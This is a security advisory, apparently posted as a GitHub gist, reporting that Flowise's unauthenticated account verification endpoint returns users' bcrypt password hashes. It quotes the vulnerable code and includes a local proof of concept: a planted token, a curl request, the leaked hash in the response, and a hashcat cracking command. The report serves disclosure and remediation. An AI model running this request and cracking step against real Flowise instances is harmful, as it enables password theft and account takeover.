Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save YLChen-007/1d52497b0221835f99367be61612746b to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/1d52497b0221835f99367be61612746b to your computer and use it in GitHub Desktop.
Unauthenticated Credential Hash Exposure via Account Verification Endpoint (Incomplete Fix for #5167)

Advisory Details

Title: Unauthenticated Credential Hash Exposure via Account Verification Endpoint (Incomplete Fix for #5167)

Description

Summary

The POST /api/v1/account/verify endpoint returns the user's bcrypt password hash in the JSON response body. This endpoint is in WHITELIST_URLS and requires no authentication. An attacker who obtains a valid verification tempToken — through email interception, log harvesting, or network sniffing — can call this endpoint to retrieve the victim's password hash for offline brute-forcing.

This vulnerability is an incomplete fix for the secure password reset patch (PR #5167, commit 9e178d6). That patch correctly applied sanitizeUser() to strip credential hashes from resetPassword() and updateUser() responses, but the logically identical verify() method was missed.

Details

When a user registers on a Cloud/Enterprise Flowise instance, the server generates a tempToken stored in the database and sent via email as a verification link. When the user (or anyone with the token) calls POST /api/v1/account/verify, the verify() service method loads the full User entity including the credential column:

packages/server/src/enterprise/services/account.service.ts (lines 507-530):

public async verify(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByToken(data.user.tempToken, queryRunner)
    // ↑ Loads ALL columns including 'credential' containing the bcrypt hash

    data.user = user             // ← Full entity with credential hash assigned
    data.user.tempToken = ''
    data.user.tokenExpiry = null
    data.user.status = UserStatus.ACTIVE
    data.user = await this.userService.saveUser(data.user, queryRunner)
    // ...
    return data                  // ← credential hash is still present in data.user!
}

The controller returns this directly to the HTTP response without any sanitization:

packages/server/src/enterprise/controllers/account.controller.ts (lines 37-45):

public async verify(req: Request, res: Response, next: NextFunction) {
    const data = await accountService.verify(req.body)
    return res.status(StatusCodes.CREATED).json(data)
    // ↑ Entire AccountDTO including credential hash serialized to JSON
}

For comparison, the patched resetPassword() method in the same file returns { message: 'success' } instead of the full data object. The sanitizeUser() utility exists but is simply not called in the verify() code path.

The endpoint is whitelisted in packages/server/src/utils/constants.ts (line 30):

export const WHITELIST_URLS = [
    // ...
    '/api/v1/account/verify',  // ← No auth required
    // ...
]

PoC

Prerequisites: A running Flowise instance (Cloud/Enterprise mode with email verification, or open-source with a manually set tempToken).

Step 1. Start Flowise and register a user:

docker run -d --name flowise-verify -p 3000:3000 flowiseai/flowise:latest
sleep 40

Register an account at http://localhost:3000 (e.g., admin@test.com / AdminPassword123!).

Step 2. Set a verification token (this step simulates what happens automatically on Cloud/Enterprise when a user registers with email/password):

docker exec flowise-verify sqlite3 /root/.flowise/database.sqlite \
  "UPDATE user SET tempToken='poc-test-token-12345', tokenExpiry='2030-01-01T00:00:00', status='unverified' WHERE email='admin@test.com';"

Step 3. Call the unauthenticated verify endpoint:

curl -s -X POST http://localhost:3000/api/v1/account/verify \
  -H 'Content-Type: application/json' \
  -d '{"user":{"tempToken":"poc-test-token-12345"}}' | python3 -m json.tool

Log of Evidence

{
    "user": {
        "id": "7dea121d-c147-4add-a861-afc757cb2753",
        "name": "Admin User",
        "email": "admin@test.com",
        "credential": "$2a$10$pCyqk7GX6VlC5d/hqM5oYOAgKIN3f6n5UkXKkqx58N6T59wf7ERrW",
        "tempToken": "",
        "tokenExpiry": null,
        "status": "active",
        "createdDate": "2026-03-05T09:09:27.000Z",
        "updatedDate": "2026-03-05T09:10:31.000Z",
        "createdBy": "7dea121d-c147-4add-a861-afc757cb2753",
        "updatedBy": "7dea121d-c147-4add-a861-afc757cb2753"
    },
    "organization": {},
    "organizationUser": {},
    "workspace": {},
    "workspaceUser": {},
    "role": {}
}

The credential field contains the bcrypt password hash. This can be cracked offline with hashcat:

echo '$2a$10$pCyqk7GX6VlC5d/hqM5oYOAgKIN3f6n5UkXKkqx58N6T59wf7ERrW' > hash.txt
hashcat -m 3200 hash.txt wordlist.txt

Impact

An unauthenticated attacker who obtains a valid verification tempToken can retrieve the target user's bcrypt password hash. This enables:

  • Offline password cracking — bcrypt hashes, while computationally expensive, are crackable with GPU clusters, particularly for weak passwords.
  • Credential stuffing — cracked passwords can be reused against other services where the user has the same credentials.
  • Log-based exposure — server-side logging (APM, SIEM) of response bodies captures the hash in plaintext across logging infrastructure.
  • Self-exposure — every user who verifies their email via the standard flow receives their own hash in the browser's network tab, exposing it to browser extensions and client-side scripts.

Affected products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: <= 3.0.12
  • Patched versions:

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Weaknesses

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Occurrences

Permalink Description
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/services/account.service.ts#L507-L530 The verify() method that loads the full User entity (including credential) and returns it in the response without calling sanitizeUser().
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/controllers/account.controller.ts#L37-L45 The controller that serializes the full AccountDTO (including credential hash) directly to the HTTP response.
https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/utils/constants.ts#L30 The WHITELIST_URLS entry that exempts /api/v1/account/verify from all authentication checks.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment